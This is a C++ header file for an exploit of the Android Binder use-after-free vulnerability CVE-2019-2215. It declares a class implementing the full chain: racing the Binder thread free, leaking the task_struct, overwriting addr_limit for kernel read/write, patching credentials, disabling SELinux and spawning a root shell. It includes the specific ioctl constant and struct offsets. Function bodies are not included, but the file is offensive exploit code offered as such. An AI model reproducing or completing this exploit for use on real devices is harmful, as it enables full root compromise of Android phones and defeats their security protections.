/*
 * Full exploit implementation for the Android Binder UAF vulnerability
 * This class handles privilege escalation through kernel memory corruption
 *
 * References:
 * - https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
 * - https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
 * - https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ
 *
 * Credits:
 * - Maddie Stone (@maddiestone) - Project Zero
 * - Jann Horn (@tehjh) - Project Zero
 */

#pragma once
#ifndef __BINDER_EXPLOIT_H__
#define __BINDER_EXPLOIT_H__

#include "common.h"

/**
 * Constants and definitions for the exploit
 */
#define BINDER_THREAD_EXIT 0x40046208ul
#define TASK_STRUCT_OFFSET_IN_LEAKED_DATA 0xE8
#define IOVEC_COUNT (int)(sizeof(struct binder_thread) / sizeof(struct iovec))
#define IOVEC_WQ_INDEX (int)(offsetof(struct binder_thread, wait) / sizeof(struct iovec))

/**
 * BinderUaF - Class that encapsulates the complete exploitation chain for CVE-2019-2215
 *
 * This exploit works by:
 * 1. Creating a race condition in the Binder IPC mechanism
 * 2. Leaking kernel memory through UAF condition
 * 3. Overwriting the addr_limit to enable kernel memory access
 * 4. Modifying process credentials to gain root privileges
 * 5. Disabling SELinux and spawning a privileged shell
 */
class BinderUaF
{
private:
    // File descriptors and kernel objects
    int m_epoll_fd = 0;
    int m_binder_fd = 0;
    int m_kernel_rw_pipe_fd[2] = {0};

    // Memory management
    void *m_4gb_aligned_page = nullptr;

    // Kernel addresses and structures
    void *m_pidAddress = nullptr;
    struct cred *m_cred = nullptr;
    void *m_credAddress = nullptr;
    void *m_nsproxyAddress = nullptr;
    struct task_struct *m_task_struct = nullptr;

    // Event polling configuration
    struct epoll_event m_epoll_event = {.events = EPOLLIN};

public:
    // Constructor displays banner
    BinderUaF()
    {
        INFO(BANNER);
    };

    // Exploitation preparation functions
    void bindToCPU();
    void initKernelReadWritePipe();
    void setupBinder();
    void setupEventPoll();
    void mmap4gbAlignedPage();

    // Primary exploitation functions
    void freeBinderThread();
    void linkEventPollWaitQueueToBinderThreadWaitQueue();
    void unlinkEventPollWaitQueueFromBinderThreadWaitQueue();
    void leakTaskStruct();
    void clobberAddrLimit();

    // Post-exploitation functions
    void verifyArbitraryReadWrite();
    void patchCred();
    void verifyRoot();
    void disableSELinuxEnforcing();
    void spawnRootShell();

    // Kernel memory access primitives
    void kRead(void *Address, size_t Length, void *uBuffer);
    void kWrite(void *Address, size_t Length, void *uBuffer);
    uint64_t kReadQword(void *Address);
    uint32_t kReadDword(void *Address);
    void kWriteQword(void *Address, uint64_t Value);
    void kWriteDword(void *Address, uint32_t Value);
};

#endif // __BINDER_EXPLOIT_H__